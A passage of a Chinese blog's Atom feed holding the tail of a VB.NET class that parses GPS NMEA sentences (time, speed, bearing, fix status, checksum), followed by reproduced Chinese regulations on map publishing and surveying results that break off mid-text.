style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcHours As Integer = CType(Words(1).Substring(0, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcMinutes As Integer = CType(Words(1).Substring(2, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcSeconds As Integer = CType(Words(1).Substring(4, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcMilliseconds As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Extract milliseconds if it is available</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Words(1).Length &gt; 7 Then UtcMilliseconds = _&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CType(Words(1).Substring(7), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Now build a DateTime object with all values</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Today As DateTime = System.DateTime.Now.ToUniversalTime</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim SatelliteTime As New System.DateTime(Today.Year, Today.Month, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Today.Day, UtcHours, UtcMinutes, UtcSeconds, UtcMilliseconds)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify of the new time, adjusted to the local time zone</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent DateTimeChanged(SatelliteTime.ToLocalTime)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough information to extract the current speed?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(7) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes.&nbsp; Convert it into MPH</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Speed As Double = CType(Words(7), Double) * 1.150779</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' If we're over 55MPH then trigger a speed alarm!</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Speed &gt; 55 Then RaiseEvent SpeedLimitReached()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify of the new speed</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent SpeedReceived(Speed)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough information to extract bearing?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(8) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Bearing As Double = CType(Words(8), Double)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent BearingReceived(Bearing)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Does the device currently have a satellite fix?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(2) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Select Case Words(2)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "A"</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent FixObtained()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "V"</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent FixLost()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return True</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Returns True if a sentence's checksum matches the calculated checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function IsValid(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Compare the characters after the asterisk to the calculation</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Substring(sentence.IndexOf("*") + 1) = GetChecksum(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Calculates the checksum for a sentence</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetChecksum(ByVal sentence As String) As String</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Loop through all chars to get a checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Character As Char</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Checksum As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; For Each Character In sentence</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Select Case Character</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$"c</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Ignore the dollar sign</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "*"c</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Stop processing before the asterisk</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exit For</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Is this the first value for the checksum?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Checksum = 0 Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Set the checksum to the value</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Checksum = Convert.ToByte(Character)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' No. XOR the checksum with this character's value</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Checksum = Checksum Xor Convert.ToByte(Character)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Next</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Return the checksum formatted as a two-character hexadecimal</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return Checksum.ToString("X2")</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">End Class</SPAN><BR><BR></P></TD></TR>
<TR>
<TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 5px; PADDING-TOP: 5px" height=4>&nbsp;</TD></TR></TBODY></TABLE>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=70" /> 
	  <id>http://www.openx.cn/default.asp?id=70</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[中华人民共和国地图编制出版管理条例]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2005-10-11T19:34:40+08:00</updated>
	  <published>2005-10-11T19:34:40+08:00</published>
		  <summary type="html"><![CDATA[<TABLE height=2892 cellSpacing=0 cellPadding=0 width="85%" align=center>
<TBODY>
<TR>
<TD vAlign=top height=2907>
<P align=left><FONT size=2><BR>1995年7月10日中华人民共和国国务院令第号发布,自1995年10月1日起施行。<BR>第一章 总则<BR>第一条 为了加强地图编制出版管理，保证地图编制出版质量，维护国家的主权、安全和利益，为经济建设、社会发展和人民生活服务，制定本条例。 <BR>第二条 本条例适用于各种公开的普遍地图和专题地图的编制和出版。 <BR>第三条 编制出版地图，必须遵守保密法律、法规。<BR>公开地图不得表示任何国家秘密和内部事项。 <BR>第四条 国务院测绘行政主管部门主管全国的地图编制工作。国务院其他有关部门按照国务院规定的职责分工，负责管理本部门专题地图的编制工作。国务院出版行政管理部门商国务院测绘行政主管部门，负责管理全国的地图出版工作。 省、自治区、直辖市人民政府负责管理地图编制出版工作的部门及其职责，由省、自治区、直辖市人民政府规定。<BR>军用地图和海图的编制管理，按照国务院、中央军事委员会的规定执行。 <BR>第二章 地图编制管理<BR>第五条 编制普通地图的，依照《中华人民共和国测绘法》的规定，必须取得相应的测绘资格。<BR>编制专题地图，需要直接进行测绘的，依照《中华人民共和国测绘法》的规定，必须取得相应的测绘资格。 <BR>第六条 在地图上绘制中华人民共和国国界、中国历史疆界、世界各国国纾Φ弊袷叵铝泄娑ǎ?<BR>（一）中华人民共和国国界，按照中华人民共和国同有关邻国签订的边界条约、协定、议定书及其附图绘制；中华人民共和国尚未同有关邻国签订边界条约的界段，按照中华人民共和国地图的国界线标准样图绘制； <BR>（二）中国历史疆界，1840年至中华人民共和国成立期间的，按照中国历史疆界标准样图绘制；1840年以前的，依据有关历史资料，按照实际历史疆界绘制。 <BR>（三）世界各国国界，按照世界各国间边界标准样图绘制；世界各国间的历史疆界，依据有关历史资料，按照实际历史疆界绘制。<BR>中华人民共和国地图的国界线标准样图、中国历史疆界标准样图、世界各国间边界标准样图，由外交部和国务院测绘行政主管部门制定，报国务院批准发布。 <BR>第七条 在地图上绘制中华人民共和国省、自治区、直辖市行政区域界线，应当遵守下列规定： <BR>（一）国务院已经划定界线的，或者相邻省、自治区、直辖市人民政府已经协商确定界线的，按照有关文件或者协议确定的界线画法绘制； <BR>（二）相邻省、自治区、直辖市人民政府虽未就界线划分签订协议，但是双方地图上界线绘制一致，并且无争议的，按照双方地图上绘制一致的界线画法绘制； <BR>（三）相邻省、自治区、直辖市人民政府对界线划分有争议，并且双方地图上界线绘制不一致的，按照国务院测绘行政主管部门和国务院民政部门制定并报国务院批准发布的省、自治区、直辖市行政区域界线标准画法图绘制。 <BR>第八条 编制地图，应当遵守国家有关地图内容表示的规定。 <BR>第九条 编制地图，应当符合下列要求： <BR>（一）选用最新地图资料作为编制基础，并及时补充或者更改现势变化的内容； <BR>（二）正确反映各要素的地理位置、形态、名称及相互关系； <BR>（三）具备符合地图使用目的的有关数据和专业内容； <BR>（四）地图的比例尺符合国家规定。 <BR>第三章 地图出版管理<BR>第十条 普通地图应当由专门地图出版社出版，其他出版社不得出版。<BR>设立专门地图出版社或者调整已设立的专门地图出版社的地图出版范围的，应当按照规定程序报国务院出版行政管理部门审批。国务院出版行政管理部门在办理审批手续前，应当征求国务院测绘行政主管部门的意见。 <BR>第十一条 中央级专门地图出版社，按照国务院出版行政管理部门批准的地图出版范围，可以出版各种地图。<BR>地方专门地图出版社，按照国务院出版行政管理部门批准的地图出版范围，可以出版除世界性地图、全国性地图以外的各种地图。 <BR>第十二条 中央级专业出版社，具备出版地图的专业技术条件的，按照国务院出版行政管理部门批准的地图出版范围，可以出版本专业的专题地图。<BR>地方专业出版社，具备出版地图的专业技术条件的，按照国务院出版行政管理部门批准的地图出版范围，可以出版本专业的地方性专题地图。 <BR>第十三条 专业出版社从事旅游图、交通图以及时事宣传图出版业务的，应当具备相应的地图编制专业技术人员、设备和技术条件，向所在地的省、自治区、直辖市人民政府出版行政管理部门提出地图出版申请，经审核同意，并报国务院出版行政管理部门审核批准，方可按照批准的地图出版范围出版。 省、自治区、直辖市人民政府出版行政管理部门在依照前款规定审核地图出版申请时，应当按照国家有关规定征求国务院测绘行政主管部门或者省、自治区、直辖市人民政府负责管理测绘工作的部门的意见。 <BR>第十四条 全国性中、小学教学地图，由国务院教育行政管理部门会同国务院测绘行政主管部门和外交部组织审定；地方性中、小学教学地图，可以由省、自治区、直辖市人民政府教育行政管理部门会同省、自治区、直辖市人民政府负责管理测绘工作的部门组织审定。<BR>任何出版单位不得出版未经审定的中、小学教学地图。 <BR>第十五条 中、小学教学地图，由中央级专门地图出版社按照国务院出版行政管理部门批准的地图出版范围出版；其他中央级出版社出版中、小学教学地图，以及地方出版社出版地方性中、小学教学地图的，应当经国务院出版行政管理部门商国务院测绘行政主管部门审核批准，方可按照批准的地图出版范围出版。但是，中、小学教科书中的插附地图除外。 <BR>第十六条 各出版社、报社、杂志社可以根据需要，在图书、报刊中插附地图。 <BR>第十七条 出版或者展示未出版的绘有国界线或者省、自治区、直辖市行政区域界线地图（含图书、报刊插图、示意图）的，在地图印刷或者展示前，应当依照下列规定送审试制样图一式两份： <BR>（一）绘有国界线的地图，跨省、自治区、直辖市行政区域的地图，以及台湾、香港、澳门地区地图，报国务院测绘行政主管部门审核； <BR>（二）省、自治区、直辖市行政区域范围内的地方性地图，报有关省、自治区、直辖市人民政府负责管理测绘工作的部门或者国务院测绘行政主管部门审核； <BR>（三）历史地图、世界地图和时事宣传图，报外交部和国务院测绘行政主管部门审核。 <BR>第十八条 出版或者展示未出版的全国性和地方性专题地图的，在地图印刷或者展示前，其试制样图的专业内容应当分别报国务院有关行政主管部门或者省、自治区、直辖市人民政府有关行政主管部门审核。 <BR>第十九条 依照本条例第十七条、第十八条的规定负责审核的部门，应当自收到试制样图之日起30日内，将审核决定通知送审单位；逾期未通知的，视为同意出版或者展示。 <BR>第二十条 保密地图和内部地图不得以任何形式公开出版、发行或者展示。 <BR>第二十一条 地图出版物发行前，有关的中央级出版社和地方出版社应当按照国家有关规定向有关部门和单位送交样本，并将样本一式两份报国务院测绘行政主管部门或者省、自治区、直辖市人民政府负责管理测绘工作的部门备案。 <BR>第二十二条 地图的著作权受法律保护。未经地图著作权人许可，任何单位和个人不得以复制、发行、改编、翻译、编辑等方式使用其地图；但是，著作权法律、行政法规另有规定的除外。 <BR>第二十三条 出版地图，应当注明地图上国界线画法的依据资料及其来源；广告、商标、宣传画、电影电视画面中的示意地图除外。 <BR>第四章 法律责任 <BR>第二十四条 违反本条例规定，未取得相应测绘资格，擅自编制地图的，由国务院测绘行政主管部门或者其授权的部门，或者省、自治区、直辖市人民政府负责管理测绘工作的部门或者其授权的部门，依据职责责令停止编制活动，没收违法所得，可以并处违法所得一倍以下的罚款。 <BR>第二十五条 违反本条例规定，有下列行为之一的，由国务院测绘行政主管部门或者省、自治区、直辖市人民政府负责管理测绘工作的部门责令停止发行、销售、展示，对有关地图出版社处以300元以上10000元以下的罚款；情节严重的，由出版行政管理部门注销有关地图出版社的地图出版资格： <BR>（一）地图印刷或者展示前未按照规定将试制样图报送国务院测绘行政主管部门或者省、自治区、直辖市人民政府负责管理测绘工作的部门审核的； <BR>（二）专题地图在印刷或者展示前未按照规定将试制样图报有关行政主管部门审核的； <BR>（三）地图上国界线或者省、自治区、直辖市行政区域界线的绘制不符合国家有关规定而出版的； <BR>（四）地图内容的表示不符合国家有关规定，造成严重错误的。<BR>有前款第（三）项、第（四）项所列行为之一的，还应当没收全部地图及违法所得。 <BR>第二十六条 违反本条例规定，未经批准，擅自从事地图出版活动或者超越经批准的地图出版范围出版地图的，由出版行政管理部门责令停止违法活动，没收全部非法地图出版物和违法所得，可以并处违法所得5倍以上15倍以下的罚款。 <BR>第二十七条 侵犯地图著作权的，依照著作权法律、行政法规的规定处理。 <BR>第二十八条 违反本条例规定，公开地图泄露国家秘密，或者产生危害国家主权或者安全、损害国家利益的其他后果的，对负有直接责任的主管人员和其他直接责任人员依法给予行政处分；构成犯罪的，依法追究形事责任。 <BR>第二十九条 地图编制、出版行政工作人员弄虚作假、玩忽职守、徇私舞弊，构成犯罪的，依法追究刑事责任；尚不构成犯罪的，依法给予行政处分。 <BR>第五章 附 则<BR>第三十条 本条例自1995年10月1日起实行。</FONT></P>
<P><FONT size=2><BR>中华人民共和国测绘成果管理规定<BR>1989年3月21日中华人民共和国国务院令第32号公布 1989年5月1日起实行<BR>第一条 为加强对测绘成果的管理，保证测绘成果的合理利用，提高测绘工作的经济效益和社会效益，更好地为社会主义现代化建设服务，制定本规定。 <BR>第二条 本规定所称测绘成果，是指在陆地、海洋和空间测绘完成的下列基础测绘成果和专业测绘成果：<BR>（一）天文测量、大地测量、卫星大地测量、重力测量的数据和图件；<BR>（二）航空和航天遥感测绘底片、磁带；<BR>（三）各种地图（包括地形图、普通地图、地籍图、海图和其他有关的专题地图等）；<BR>（四）工程测量数据和图件；<BR>（五）其他有关地理数据；<BR>（六）与测绘成果直接有关的技术资料等。<BR>第三条 国务院测绘行政主管部门主管全国测绘成果的管理和监督工作，并负责组织全国基础测绘成果及其有关专业测绘成果的接收、搜集、整理、储存和提供使用。 <BR>省、自治区、直辖市人民政府测绘行政主管部门主管本行政区域内测绘成果的管理和监督工作，并负责组织本行政区域内基础测绘成果以及有关专业测绘成果的接收、搜集、整理、储存和提供使用。<BR>国务院有关部门和省、自治区、直辖市人民政府有关部门负责本部门专业测绘成果的管理工作。 <BR>军队测绘主管部门负责军事部门测绘成果的管理工作。<BR>第四条 测绘成果应当实行科学管理，建立健全规章制度，运用现代科学技术手段，及时、准确、安全、方便地提供使用。<BR>第五条 测绘成果应当根据公开（公开使用、公开出版）和未公开（内部使用、保密）的不同性质，按照国家有关规定进行管理。<BR>第六条 基础测绘成果保密等级的划分、调整和解密，经国务院测绘行政主管部门会同军队测绘主管部门商国家及军队保密主管部门决定后，由国务院测绘行政主管部门发布。<BR>专业测绘成果保密等级的划分、调整和解密，由有关专业测绘成果管理部门确定，并报同级测绘行政主管部门备案；其密级不得低于原使用的地理底图和其他基础测绘成果的密级。<BR>各部门、各单位使用保密测绘成果，必须按照国家保密法规进行管理。保密测绘成果确需公开使用的，必须按照国家规定进行解密处理。<BR>保密测绘成果的销毁，应当经测绘成果使用单位的县级以上主管部门负责人批准，严格进行登记、造册和监销，并向提供该成果的管理机构备案。 <BR>第七条 国务院有关部门和地方有关部门完成的基础测绘成果以及有关专业测绘成果，必须依照规定按年度分别向国务院测绘行政主管部门或者省、自治区、直辖市人民政府测绘行政主管部门汇交下列成果目录或者副本： <BR>（一）天文测量、大地测量、卫星大地测量、重力测量的数据和图件的目录及副本（一式一份）；<BR>（二）航空、航天遥感测绘底片和磁带的目录（一式一份）；<BR>（三）地形图、普通地图、地籍图、海图、其他重要专题地图的目录（一式一份）；<BR>（四）正式印刷的各种地图（一式两份）； <BR>（五）有关重大工程测量的数据和图件目录（一式一份）。<BR>第八条 外国人经中华人民共和国政府或者其授权部门批准，在中华人民共和国境内及境外属中华人民共和国管辖海域内单独测绘或者与中华人民共和国有关部门合作测绘的成果，依据本规定进行管理。其成果的所有权属分别为：<BR>（一）外国人或者外国人与中华人民共和国有关部门合作在中华人民共和国境内测制的测绘成果，均属中华人民共和国所有；<BR>（二）外国人与中华人民共和国有关部门合作在中华人民共和国境外属中华人民共和国管辖海域内测制的测绘成果，应当在不违反本规定的前提下，由双方按合同规定分享；<BR>（三）外国人在中华人民共和国境外属中华人民共和国管辖海域内测制的测绘成果，必须向中华人民共和国测绘行政主管部门提供全部测绘成果的副本或者复制件。<BR>第九条 需要使用其他省、自治区、直辖市的基础测绘成果的单位，必须持本省、自治区、直辖市人民政府测绘行政主管部门的公函，向该成果所在省、自治区、直辖市的测绘行政主管部门办理使用手续。<BR>需要使用其他省、自治区、直辖市专业测绘成果的单位，按专业成果所属部门规定的办法执行。<BR>第十条 军事部门需要使用政府部门测绘成果的，由总参谋部测绘主管部门或者大军区、军兵种测绘主管部门，通过国务院测绘行政主管部门或者省、自治区、直辖市人民政府测绘行政主管部门统一办理。<BR>政府部门或者单位需要使用军事部门测绘成果的，由国务院测绘行政主管部门或者省、自治区、直辖市人民政府测绘行政主管部门，通过总参谋部测绘主管部门或者大军区、军兵种测绘主管部门统一办理。<BR>第十一条 测绘行政主管部门应当对本行政区域内测制的测绘成果负责质量监督管理。<BR>各有关部门和单位测制的测绘成果，必须经过检查验收，质量合格后方能提供使用。<BR>第十二条 测绘成果实行有偿提供。有偿提供测绘成果的办法和收费标准由国务院测绘行政主管部门商有关测绘成果的管理部门后，会同国务院物价行政主管部门另行规定。<BR>第十三条 